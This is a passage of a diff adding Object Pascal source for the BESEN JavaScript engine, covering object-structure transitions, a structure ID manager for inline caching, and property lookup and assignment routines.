assigned(DuplicatesHashMap.GetKey(Key,Hash)) then begin + DuplicatesHashMap.NewKey(Key,true,Hash); + if GetAllProperties or ((boppENUMERABLE in Prop.Descriptor.Presents) and (bopaENUMERABLE in Prop.Descriptor.Attributes)) then begin + result:=true; + exit; + end; + end; + end else begin + result:=true; + exit; + end; + end else begin + BESENFreeAndNil(Prototype); + Prototype:=nil; + break; + end; + end; + while assigned(NextItem) do begin + if not assigned(DuplicatesHashMap.GetKey(NextItem.Key,NextItem.FullHash)) then begin + if GetAllProperties or ((boppENUMERABLE in NextItem.Descriptor.Presents) and (bopaENUMERABLE in NextItem.Descriptor.Attributes)) then begin + Key:=NextItem.Key; + NextItem:=NextItem.Next; + result:=true; + exit; + end; + end; + NextItem:=NextItem.Next; + end; + Key:=''; + result:=false; +end; + +constructor TBESENObjectStructure.Create(AInstance:TObject); +begin + inherited Create(AInstance); + HashPrevious:=nil; + HashNext:=nil; + Previous:=nil; + Next:=nil; + TransitionFrom:=nil; + ID:=-1; + Hash:=0; + PrototypeID:=-1; + Properties:=nil; + ReferenceCounter:=0; +end; + +destructor TBESENObjectStructure.Destroy; +begin + if assigned(TransitionFrom) then begin + TransitionFrom.DecRef; + TransitionFrom:=nil; + end; + SetLength(Properties,0); + TBESEN(Instance).ObjectStructureIDManager.Remove(self); + inherited Destroy; +end; + +procedure TBESENObjectStructure.IncRef; +begin + inc(ReferenceCounter); +end; + +procedure TBESENObjectStructure.DecRef; +begin + dec(ReferenceCounter); + if ReferenceCounter<=0 then begin + Destroy; + end; +end; + +function TBESENObjectStructure.IsPrefixTo(APrototypeID:TBESENINT32;const AProperties:TBESENObjectStructureProperties;var FirstNewPropIndex:longint):TBESENBoolean; +var Transition:TBESENObjectStructure; + Transitions:TBESENObjectStructures; + TransitionCount,TransitionIndex,APropIndex,TransitionPropIndex:longint; + AProp,TransitionProp:PBESENObjectStructureProperty; +begin + result:=false; + + if PrototypeID<>APrototypeID then begin + exit; + end; + + TransitionCount:=0; + Transition:=self; + while assigned(Transition) and (Transition.PrototypeID=PrototypeID) do begin + inc(TransitionCount); + Transition:=Transition.TransitionFrom; + end; + if assigned(Transition) and (Transition.PrototypeID<>PrototypeID) then begin + exit; + end; + + Transitions:=nil; + try + SetLength(Transitions,TransitionCount); + + TransitionIndex:=TransitionCount; + + Transition:=self; + while assigned(Transition) do begin + dec(TransitionIndex); + Transitions[TransitionIndex]:=Transition; + Transition:=Transition.TransitionFrom; + end; + + if TransitionIndex>0 then begin + SetLength(Transitions,0); + exit; + end; + + APropIndex:=0; + TransitionIndex:=0; + while (APropIndex<length(AProperties)) and (TransitionIndex<length(Transitions)) do begin + Transition:=Transitions[TransitionIndex]; + TransitionPropIndex:=0; + while (APropIndex<length(AProperties)) and (TransitionPropIndex<length(Transition.Properties)) do begin + AProp:=@AProperties[APropIndex]; + TransitionProp:=@Transition.Properties[TransitionPropIndex]; + if (AProp^.Index<>TransitionProp^.Index) or (AProp^.ID<>TransitionProp^.ID) or (AProp^.Attributes<>TransitionProp^.Attributes) or (AProp^.Presents<>TransitionProp^.Presents) then begin + SetLength(Transitions,0); + exit; + end; + inc(APropIndex); + inc(TransitionPropIndex); + end; + if TransitionPropIndex<length(Transition.Properties) then begin + SetLength(Transitions,0); + exit; + end; + inc(TransitionIndex); + end; + + if TransitionIndex<length(Transitions) then begin + SetLength(Transitions,0); + exit; + end; + + FirstNewPropIndex:=APropIndex; + + result:=true; + finally + SetLength(Transitions,0); + end; +end; + +function TBESENObjectStructure.IsEqualTo(APrototypeID:TBESENINT32;AHash:TBESENHash;const AProperties:TBESENObjectStructureProperties):TBESENBoolean; +var Transition:TBESENObjectStructure; + APropIndex,TransitionPropIndex:longint; + AProp,Prop:PBESENObjectStructureProperty; +begin + if (PrototypeID<>APrototypeID) or (Hash<>AHash) then begin + result:=false; + exit; + end; + if assigned(TransitionFrom) then begin + APropIndex:=length(AProperties)-1; + Transition:=self; + result:=true; + while assigned(Transition) and (Transition.PrototypeID=PrototypeID) and (APropIndex>=0) do begin + TransitionPropIndex:=length(Transition.Properties)-1; + while (APropIndex>=0) and (TransitionPropIndex>=0) do begin + AProp:=@AProperties[APropIndex]; + Prop:=@Transition.Properties[TransitionPropIndex]; + if (AProp^.Index<>Prop^.Index) or (AProp^.ID<>Prop^.ID) or (AProp^.Attributes<>Prop^.Attributes) or (AProp^.Presents<>Prop^.Presents) then begin + result:=false; + exit; + end; + dec(TransitionPropIndex); + dec(APropIndex); + end; + if TransitionPropIndex>=0 then begin + result:=false; + exit; + end; + Transition:=Transition.TransitionFrom; + end; + if APropIndex>=0 then begin + result:=false; + end; + end else if length(Properties)=length(AProperties) then begin + result:=true; + for APropIndex:=0 to length(AProperties)-1 do begin + AProp:=@AProperties[APropIndex]; + Prop:=@Properties[APropIndex]; + if (AProp^.Index<>Prop^.Index) or (AProp^.ID<>Prop^.ID) or (AProp^.Attributes<>Prop^.Attributes) or (AProp^.Presents<>Prop^.Presents) then begin + result:=false; + break; + end; + end; + end else begin + result:=false; + end; +end; + +function TBESENObjectStructure.ContainsStructureID(StructureID:TBESENINT32):TBESENBoolean; +var Transition:TBESENObjectStructure; +begin + result:=false; + Transition:=self; + while assigned(Transition) and (Transition.PrototypeID=PrototypeID) do begin + if Transition.ID=StructureID then begin + result:=true; + exit; + end; + Transition:=Transition.TransitionFrom; + end; +end; + +function TBESENObjectStructure.GetStructureIDFromKeyID(KeyID:TBESENINT32):TBESENINT32; +var Transition:TBESENObjectStructure; + PropIndex:longint; +begin + result:=-1; + Transition:=self; + while assigned(Transition) and (Transition.PrototypeID=PrototypeID) do begin + for PropIndex:=0 to length(Transition.Properties)-1 do begin + if Transition.Properties[PropIndex].ID=KeyID then begin + result:=Transition.ID; + exit; + end; + end; + Transition:=Transition.TransitionFrom; + end; +end; + +constructor TBESENObjectStructureIDManager.Create(AInstance:TObject); +begin + inherited Create(AInstance); + First:=nil; + Last:=nil; + IDCounter:=0; + FillChar(HashBuckets,sizeof(TBESENObjectStructureIDManagerHashBuckets),#0); +end; + +destructor TBESENObjectStructureIDManager.Destroy; +begin + while assigned(First) do begin + First.Free; + end; + inherited Destroy; +end; + +procedure TBESENObjectStructureIDManager.Reset; +var Code:TBESENCode; + GarbageCollectorObject:TBESENGarbageCollectorObject; + Obj:TBESENObject; +begin + try + Code:=TBESEN(Instance).CodeFirst; + while assigned(Code) do begin + Code.ResetPolymorphicInlineCacheInstructions; + Code:=Code.CodeNext; + end; + + GarbageCollectorObject:=TBESEN(Instance).GarbageCollector.First; + while assigned(GarbageCollectorObject) do begin + if GarbageCollectorObject is TBESENObject then begin + Obj:=TBESENObject(GarbageCollectorObject); + Obj.Structure:=nil; + Obj.StructureID:=0; + Obj.StructureHash:=0; + end; + GarbageCollectorObject:=GarbageCollectorObject.GarbageCollectorNext; + end; + + while assigned(First) do begin + First.Free; + end; + IDCounter:=0; + except + TBESEN(Instance).InlineCacheEnabled:=false; + end; +end; + +function TBESENObjectStructureIDManager.ResetIfNeeded:longbool; +begin + if IDCounter>=$40000000 then begin + Reset; + result:=true; + end else begin + result:=false; + end; +end; + +function TBESENObjectStructureIDManager.Get(PrototypeID:TBESENINT32;const Properties:TBESENObjectStructureProperties;OldStructure:TBESENObjectStructure):TBESENObjectStructure; +var Hash:TBESENHash; + HashBucket:PBESENObjectStructureIDManagerHashBucket; + PropIndex,FirstNewPropIndex:longint; + Prop:PBESENObjectStructureProperty; + Transitions:TBESENObjectStructures; +begin + Transitions:=nil; + try + Hash:=(2166136261 xor TBESENUINT32(PrototypeID))*1664525; + for PropIndex:=0 to length(Properties)-1 do begin + Prop:=@Properties[PropIndex]; + Hash:=((Hash+TBESENUINT32(Prop^.Index)) xor TBESENUINT32(Prop^.ID))*16777619; + Hash:=((Hash-TBESENUINT32(byte(Prop^.Attributes))) xor TBESENUINT32(byte(Prop^.Presents)))*1664525; + end; + HashBucket:=@HashBuckets[Hash and BESENObjectStructureIDManagerHashSizeMask]; + result:=HashBucket^.HashFirst; + while assigned(result) do begin + if result.IsEqualTo(PrototypeID,Hash,Properties) then begin + exit; + end; + result:=result.HashNext; + end; + result:=TBESENObjectStructure.Create(Instance); + result.PrototypeID:=PrototypeID; + result.Hash:=Hash; + inc(IDCounter); + result.ID:=IDCounter; + FirstNewPropIndex:=0; + if assigned(OldStructure) and OldStructure.IsPrefixTo(PrototypeID,Properties,FirstNewPropIndex) then begin + if FirstNewPropIndex<length(Properties) then begin + result.TransitionFrom:=OldStructure; + result.TransitionFrom.IncRef; + result.Properties:=copy(Properties,FirstNewPropIndex,length(Properties)-FirstNewPropIndex); + end else begin + result.Properties:=copy(Properties,0,length(Properties)); + end; + end else begin + result.Properties:=copy(Properties,0,length(Properties)); + end; + result.HashNext:=nil; + if assigned(HashBucket^.HashLast) then begin + HashBucket^.HashLast.HashNext:=result; + result.HashPrevious:=HashBucket^.HashLast; + HashBucket^.HashLast:=result; + end else begin + result.HashPrevious:=nil; + HashBucket^.HashFirst:=result; + HashBucket^.HashLast:=result; + end; + result.Next:=nil; + if assigned(Last) then begin + Last.Next:=result; + result.Previous:=Last; + Last:=result; + end else begin + result.Previous:=nil; + First:=result; + Last:=result; + end; + finally + SetLength(Transitions,0); + end; +end; + +procedure TBESENObjectStructureIDManager.Remove(Structure:TBESENObjectStructure); +var HashBucket:PBESENObjectStructureIDManagerHashBucket; +begin + if assigned(Structure) then begin + HashBucket:=@HashBuckets[Structure.Hash and BESENObjectStructureIDManagerHashSizeMask]; + if assigned(Structure.HashPrevious) then begin + Structure.HashPrevious.HashNext:=Structure.HashNext; + end else if HashBucket^.HashFirst=Structure then begin + HashBucket^.HashFirst:=Structure.HashNext; + end; + if assigned(Structure.HashNext) then begin + Structure.HashNext.HashPrevious:=Structure.HashPrevious; + end else if HashBucket^.HashLast=Structure then begin + HashBucket^.HashLast:=Structure.HashPrevious; + end; + Structure.HashNext:=nil; + Structure.HashPrevious:=nil; + if assigned(Structure.Previous) then begin + Structure.Previous.Next:=Structure.Next; + end else if First=Structure then begin + First:=Structure.Next; + end; + if assigned(Structure.Next) then begin + Structure.Next.Previous:=Structure.Previous; + end else if Last=Structure then begin + Last:=Structure.Previous; + end; + Structure.Next:=nil; + Structure.Previous:=nil; + end; +end; + +constructor TBESENObject.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance); + ObjectClassName:='Object'; + ObjectName:='object'; + + PrototypeChildren:=TBESENPointerSelfBalancedTree.Create; + + Structure:=nil; + StructureID:=0; + StructureHash:=0; + + Properties:=TBESENObjectPropertyContainer.Create(AInstance,false,self); + + PrototypeObject:=nil; + if assigned(APrototype) then begin + Prototype:=APrototype; + end; + + Extensible:=true; + + LastProp:=nil; + + if AHasPrototypeProperty and assigned(Prototype) then begin + OverwriteData('prototype',BESENObjectValueEx(Prototype),[]); + end; + + StructureID:=0; +end; + +destructor TBESENObject.Destroy; +var Node:PBESENPointerSelfBalancedTreeNode; + Obj:TBESENObject; +begin + TBESEN(Instance).GarbageCollector.FinalizeObjectForSweeping(self); + + BESENFreeAndNil(Properties); + + Prototype:=nil; + + if assigned(PrototypeChildren) then begin + Node:=PrototypeChildren.FirstKey; + while assigned(Node) do begin + Obj:=TBESENObject(Node^.Key); + if assigned(Obj) and (Obj.PrototypeObject=self) then begin + Obj.PrototypeObject:=nil; + Obj.InvalidateStructure; + end; + Node:=Node^.NextKey; + end; + end; + + BESENFreeAndNil(PrototypeChildren); + + if assigned(Structure) then begin + Structure.DecRef; + Structure:=nil; + end; + + ObjectName:=''; + ObjectClassName:=''; + inherited Destroy; +end; + +procedure TBESENObject.SetPrototypeObject(NewPrototypeObject:TBESENObject); +var Obj:TBESENObject; + Value:TBESENPointerSelfBalancedTreeValue; +begin + if assigned(NewPrototypeObject) then begin + Obj:=NewPrototypeObject; + while assigned(Obj) do begin + if Obj=self then begin + BESENThrowRcursivePrototypeChain; + end; + Obj:=Obj.Prototype; + end; + end; + if assigned(PrototypeObject) then begin + PrototypeObject.PrototypeChildren.Remove(self); + end; + PrototypeObject:=NewPrototypeObject; + if assigned(PrototypeObject) then begin + Value.p:=self; + PrototypeObject.PrototypeChildren.Insert(self,Value); + end; + InvalidateStructure; +end; + +procedure TBESENObject.InvalidateStructure; +var Node:PBESENPointerSelfBalancedTreeNode; + Obj:TBESENObject; +begin + if StructureID<>0 then begin + if assigned(PrototypeChildren) then begin + Node:=PrototypeChildren.FirstKey; + while assigned(Node) do begin + Obj:=TBESENObject(Node^.Key); + if assigned(Obj) and (Obj.PrototypeObject=self) then begin + Obj.InvalidateStructure; + end; + Node:=Node^.NextKey; + end; + end; + StructureID:=0; + end; +end; + +procedure TBESENObject.RebuildOwnStructure; +var PrototypeID:TBESENINT64; + Count,Index:longint; + Prop:TBESENObjectProperty; + StructureProperties:TBESENObjectStructureProperties; + OldStructure:TBESENObjectStructure; +begin + StructureProperties:=nil; + try + OldStructure:=Structure; + Structure:=nil; + + StructureID:=0; + StructureHash:=0; + + if TBESEN(Instance).InlineCacheEnabled then begin + + if assigned(Prototype) then begin + PrototypeID:=Prototype.StructureID; + end else begin + PrototypeID:=-1; + end; + + Count:=0; + Prop:=Properties.First; + while assigned(Prop) do begin + if Prop.ID>=0 then begin + inc(Count); + end; + Prop:=Prop.Next; + end; + SetLength(StructureProperties,Count); + Index:=0; + Prop:=Properties.First; + while assigned(Prop) do begin + if Prop.ID>=0 then begin + StructureProperties[Index].Index:=Prop.Index; + StructureProperties[Index].ID:=Prop.ID; + StructureProperties[Index].Attributes:=Prop.Descriptor.Attributes; + StructureProperties[Index].Presents:=Prop.Descriptor.Presents; + inc(Index); + end; + Prop:=Prop.Next; + end; + + Structure:=TBESEN(Instance).ObjectStructureIDManager.Get(PrototypeID,StructureProperties,OldStructure); + if assigned(Structure) then begin + Structure.IncRef; + StructureID:=Structure.ID; + StructureHash:=Structure.Hash; + end; + end; + + if assigned(OldStructure) then begin + OldStructure.DecRef; + OldStructure:=nil; + end; + finally + SetLength(StructureProperties,0); + end; +end; + +function TBESENObject.RebuildStructure:TBESENBoolean; + procedure RebuildObjectStructure(Obj:TBESENObject); + begin + if Obj.StructureID=0 then begin + if assigned(Obj.Prototype) then begin + RebuildObjectStructure(Obj.Prototype); + end; + Obj.RebuildOwnStructure; + end; + end; +begin + RebuildObjectStructure(self); + result:=not TBESEN(Instance).ObjectStructureIDManager.ResetIfNeeded; +end; + +procedure TBESENObject.RegisterNativeFunction(const AName:TBESENSTRING;const ANative:TBESENNativeFunction;const Len:longint=0;const Attributes:TBESENObjectPropertyDescriptorAttributes=[];const AHasPrototypeProperty:longbool=false); +var o:TBESENObjectNativeFunction; +begin + o:=TBESENObjectNativeFunction.Create(Instance,TBESEN(Instance).ObjectFunctionPrototype,AHasPrototypeProperty); + o.Native:=ANative; + o.ObjectName:=AName; + TBESEN(Instance).GarbageCollector.Add(o); + o.GarbageCollectorLock; + try + OverwriteData(AName,BESENObjectValueEx(o),Attributes,true); + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + o.OverwriteData('name',BESENStringValue(AName),[]); + end; + o.OverwriteData('length',BESENNumberValue(Len),[]); + finally + o.GarbageCollectorUnlock; + end; +end; + +function TBESENObject.HasRecursivePrototypeChain:TBESENBoolean; +var Obj:TBESENObject; +begin + result:=false; + Obj:=Prototype; + while assigned(Obj) do begin + if Obj=self then begin + result:=true; + break; + end; + Obj:=Obj.Prototype; + end; +end; + +procedure TBESENObject.PutPrototype(const V:TBESENValue;Throw:TBESENBoolean); +var Obj:TBESENObject; +begin + case V.ValueType of + bvtUNDEFINED,bvtNULL:begin + Prototype:=nil; + end; + bvtOBJECT:begin + Obj:=TBESENObject(V.Obj); + while assigned(Obj) do begin + if Obj=self then begin + if Throw then begin + BESENThrowPutRecursivePrototypeChain; + end; + exit; + end; + Obj:=Obj.Prototype; + end; + Prototype:=TBESENObject(V.Obj); + end; + else begin + if Throw then begin + BESENThrowPutInvalidPrototype; + end; + end; + end; +end; + +function TBESENObject.OverwriteAccessor(const P:TBESENString;const Getter:TBESENObject=nil;const Setter:TBESENObject=nil;const Attributes:TBESENObjectPropertyDescriptorAttributes=[];Throw:TBESENBoolean=false):TBESENBoolean; +var Prop:TBESENObjectProperty; +begin + Prop:=Properties.Get(P); + if assigned(Prop) then begin + if Prop.ID>=0 then begin + if (Prop.Descriptor.Attributes<>(Attributes*[bopaENUMERABLE,bopaCONFIGURABLE])) or (([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[]) then begin + InvalidateStructure; + end; + if assigned(Prop.Descriptor.Getter) then begin + if not (boppGETTER in Prop.Descriptor.Presents) then begin + InvalidateStructure; + end; + end; + if assigned(Prop.Descriptor.Setter) then begin + if not (boppSETTER in Prop.Descriptor.Presents) then begin + InvalidateStructure; + end; + end; + end; + end else begin + Prop:=Properties.Put(P); + end; + Prop.Descriptor.Value.ValueType:=bvtUNDEFINED; + Prop.Descriptor.Getter:=Getter; + Prop.Descriptor.Setter:=Setter; + Prop.Descriptor.Attributes:=Attributes*[bopaENUMERABLE,bopaCONFIGURABLE]; + Prop.Descriptor.Presents:=[boppENUMERABLE,boppCONFIGURABLE]; + if assigned(Prop.Descriptor.Getter) then begin + Prop.Descriptor.Presents:=Prop.Descriptor.Presents+[boppGETTER]; + end; + if assigned(Prop.Descriptor.Setter) then begin + Prop.Descriptor.Presents:=Prop.Descriptor.Presents+[boppSETTER]; + end; + result:=true; +end; + +function TBESENObject.OverwriteData(const P:TBESENString;const Value:TBESENValue;const Attributes:TBESENObjectPropertyDescriptorAttributes=[];Throw:TBESENBoolean=false):TBESENBoolean; +var Prop:TBESENObjectProperty; +begin + Prop:=Properties.Get(P); + if assigned(Prop) then begin + if Prop.ID>=0 then begin + if (Prop.Descriptor.Attributes<>Attributes) or (Prop.Descriptor.Presents<>[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]) then begin + InvalidateStructure; + end; + end; + end else begin + Prop:=Properties.Put(P); + end; + BESENCopyValue(Prop.Descriptor.Value,Value); + Prop.Descriptor.Getter:=nil; + Prop.Descriptor.Setter:=nil; + Prop.Descriptor.Attributes:=Attributes; + Prop.Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + result:=true; +end; + +function TBESENObject.GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; +var Prop:TBESENObjectProperty; +begin + Prop:=Properties.Get(P,Hash); + LastProp:=Prop; + if assigned(Prop) then begin + if ([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[] then begin + BESENCopyValue(Descriptor.Value,Prop.Descriptor.Value); + Descriptor.Getter:=nil; + Descriptor.Setter:=nil; + Descriptor.Attributes:=Prop.Descriptor.Attributes; + Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + result:=true; + end else if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + Descriptor.Value.ValueType:=bvtUNDEFINED; + Descriptor.Getter:=Prop.Descriptor.Getter; + Descriptor.Setter:=Prop.Descriptor.Setter; + Descriptor.Attributes:=Prop.Descriptor.Attributes*[bopaENUMERABLE,bopaCONFIGURABLE]; + Descriptor.Presents:=[boppGETTER,boppSETTER,boppENUMERABLE,boppCONFIGURABLE]; + result:=true; + end else begin + result:=false; + end; + end else if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (P='__proto__') then begin + if assigned(Prototype) then begin + Descriptor.Value.ValueType:=bvtOBJECT; + Descriptor.Value.Obj:=Prototype; + end else begin + Descriptor.Value.ValueType:=bvtNULL; + end; + Descriptor.Getter:=nil; + Descriptor.Setter:=nil; + Descriptor.Attributes:=[bopaWRITABLE]; + Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE,boppPROTO]; + result:=true; + end else begin + Descriptor.Presents:=[]; + result:=false; + end; +end; + +function TBESENObject.GetProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; +var Base:TBESENObject; +begin + if Hash=0 then begin + Hash:=BESENHashKey(P); + end; + Base:=self; + while assigned(Base) do begin + if Base.GetOwnProperty(P,Descriptor,Hash) then begin + result:=true; + exit; + end; + Base:=Base.Prototype; + end; + Descriptor.Presents:=[]; + result:=false; +end; + +procedure TBESENObject.GetGetter(Base:TBESENObject;var AResult:TBESENValue;const Descriptor:TBESENObjectPropertyDescriptor); +begin + if (boppGETTER in Descriptor.Presents) and assigned(Descriptor.Getter) then begin + TBESEN(Instance).ObjectCall(TBESENObject(Descriptor.Getter),BESENObjectValue(Base),nil,0,AResult); + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; +end; + +function TBESENObject.GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +var Prop:TBESENObjectProperty; +begin + if not assigned(Base) then begin + Base:=self; + end; + Prop:=Properties.Get(P,Hash); + if assigned(Prop) then begin + if ([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[] then begin + BESENCopyValue(AResult,Prop.Descriptor.Value); + end else if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + GetGetter(Base,AResult,Prop.Descriptor); + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; + result:=true; + end else if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (P='__proto__') then begin + if assigned(Prototype) then begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=Prototype; + end else begin + AResult.ValueType:=bvtNULL; + end; + result:=true; + end else begin + if assigned(Prototype) then begin + result:=Prototype.GetEx(P,AResult,Descriptor,Base,Hash); + end else begin + AResult.ValueType:=bvtUNDEFINED; + result:=false; + end; + end; +end; + +function TBESENObject.GetFull(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +begin + result:=false; + AResult.ValueType:=bvtUNDEFINED; + if GetProperty(P,Descriptor,Hash) then begin + if ([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[] then begin + if boppVALUE in Descriptor.Presents then begin + BESENCopyValue(AResult,Descriptor.Value); + end; + end else if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + if assigned(Base) then begin + GetGetter(Base,AResult,Descriptor); + end else begin + GetGetter(self,AResult,Descriptor); + end; + end; + result:=true; + end; +end; + +function TBESENObject.GetIndex(const Index,ID:longint;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; +var Prop:TBESENObjectProperty; +begin + result:=false; + if not assigned(Base) then begin + Base:=self; + end; + if (Index>=0) and (Index<Properties.ItemCount) then begin + Prop:=Properties.Items[Index]; + if assigned(Prop) and (Prop.ID=ID) then begin + if ([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[] then begin + BESENCopyValue(AResult,Prop.Descriptor.Value); + end else if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + GetGetter(Base,AResult,Prop.Descriptor); + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; + result:=true; + exit; + end; + end; + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (TBESEN(Instance).KeyIDManager.ProtoID=ID) then begin + if assigned(Prototype) then begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=Prototype; + end else begin + AResult.ValueType:=bvtNULL; + end; + result:=true; + exit; + end else if assigned(Prototype) then begin + result:=Prototype.GetIndex(Index,ID,AResult,Base); + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; +end; + +function TBESENObject.GetArrayIndex(const Index:TBESENUINT32;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; +begin + result:=Get(BESENArrayIndexToStr(Index),AResult,Base); +end; + +function TBESENObject.Get(const P:TBESENString;var AResult:TBESENValue;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +var Descriptor:TBESENObjectPropertyDescriptor; +begin + if not assigned(Base) then begin + Base:=self; + end; + if Hash=0 then begin + Hash:=BESENHashKey(P); + end; + result:=GetEx(P,AResult,Descriptor,Base,Hash); +end; + +function TBESENObject.CanPut(const P:TBESENString;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + Descriptor.Presents:=[]; + if GetOwnProperty(P,OwnDescriptor) then begin + if ([boppGETTER,boppSETTER]*OwnDescriptor.Presents)<>[] then begin + result:=(boppSETTER in OwnDescriptor.Presents) and assigned(OwnDescriptor.Setter); + end else begin + result:=(boppWRITABLE in OwnDescriptor.Presents) and (bopaWRITABLE in OwnDescriptor.Attributes); + end; + end else begin + if assigned(Prototype) then begin + if Prototype.GetProperty(P,Descriptor) then begin + if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + result:=(boppSETTER in Descriptor.Presents) and assigned(Descriptor.Setter); + end else begin + result:=Extensible and ((boppWRITABLE in Descriptor.Presents) and (bopaWRITABLE in Descriptor.Attributes)); + end; + end else begin + result:=Extensible; + end; + end else begin + result:=Extensible; + end; + end; +end; + +procedure TBESENObject.PutNew(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;Hash:TBESENHash=0); +var Prop:TBESENObjectProperty; +begin + Prop:=Properties.Put(P,Hash); + BESENCopyValue(Prop.Descriptor.Value,V); + Prop.Descriptor.Getter:=nil; + Prop.Descriptor.Setter:=nil; + Prop.Descriptor.Attributes:=[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]; + Prop.Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + if Prop.ID>=0 then begin + InvalidateStructure; + end; +end; + +procedure TBESENObject.PutSetter(Base:TBESENObject;const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;const Descriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue); +var ValuePointers:array[0..0] of PBESENValue; +begin + if (boppSETTER in Descriptor.Presents) and assigned(Descriptor.Setter) then begin + ValuePointers[0]:=@v; + TBESEN(Instance).ObjectCall(TBESENObject(Descriptor.Setter),BESENObjectValue(Base),@ValuePointers,1,TempValue); + end else begin + if Throw then begin + BESENThrowNoSetter(P); + end; + end; +end; + +procedure TBESENObject.PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); +var Prop:TBESENObjectProperty; +begin + // Optimized and combined GetOwnProperty + CanPut + DefineOwnProperty + Prop:=Properties.Get(P,Hash); + if assigned(Prop) then begin + if ([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[] then begin + if bopaWRITABLE in Prop.Descriptor.Attributes then begin + BESENCopyValue(Prop.Descriptor.Value,V); + end else begin + if Throw then begin + BESENThrowPut(P); + end; + end; + exit; + end else if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + PutSetter(self,P,V,Throw,Prop.Descriptor,TempValue); + exit; + end; + end else if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (P='__proto__') then begin + PutPrototype(V,Throw); + exit; + end; + + if assigned(Prototype) then begin + if Prototype.GetProperty(P,Descriptor) then begin + if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + PutSetter(self,P,V,Throw,Descriptor,TempValue); + exit; + end else begin + if not (Extensible and ((boppWRITABLE in Descriptor.Presents) and (bopaWRITABLE in Descriptor.Attributes))) then begin + if Throw then begin + BESENThrowPut(P); + end; + exit; + end; + end; + end; + end; + + if Extensible then begin + PutNew(P,V,Throw,Hash); + exit; + end; + + if Throw then begin + BESENThrowPut(P); + end; +end; + +procedure TBESENObject.PutFull(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var Temp:TBESENValue;Hash:TBESENHash=0); +var ValuePointers:array[0..0] of PBESENValue; +begin + if CanPut(P,Descriptor,OwnDescriptor,Hash) then begin + if boppPROTO in OwnDescriptor.Presents then begin + PutPrototype(V,Throw); + end else if ([boppVALUE,boppWRITABLE]*OwnDescriptor.Presents)<>[] then begin + BESENCopyValue(OwnDescriptor.Value,V); + OwnDescriptor.Getter:=nil; + OwnDescriptor.Setter:=nil; + OwnDescriptor.Attributes:=[]; + OwnDescriptor.Presents:=[boppVALUE]; + DefineOwnPropertyEx(P,OwnDescriptor,Throw,Descriptor,Hash); + end else begin + if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + if (boppSETTER in Descriptor.Presents) and assigned(Descriptor.Setter) then begin + ValuePointers[0]:=@V; + TBESEN(Instance).ObjectCall(TBESENObject(Descriptor.Setter),BESENObjectValue(self),@ValuePointers,1,Temp); + end else begin + if Throw then begin + BESENThrowNoSetter(P); + end; + end; + end else begin + BESENCopyValue(OwnDescriptor.Value,v); + OwnDescriptor.Getter:=nil; + OwnDescriptor.Setter:=nil; + OwnDescriptor.Attributes:=[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]; + OwnDescriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + DefineOwnPropertyEx(P,OwnDescriptor,Throw,Descriptor,Hash); + end; + end; + end else begin + if Throw then begin + BESENThrowPut(P); + end; + end; +end; + +procedure TBESENObject.PutIndex(const Index,ID:longint;const V:TBESENValue;Throw:TBESENBoolean); + procedure ThrowIt; + begin + BESENThrowTypeError('Put 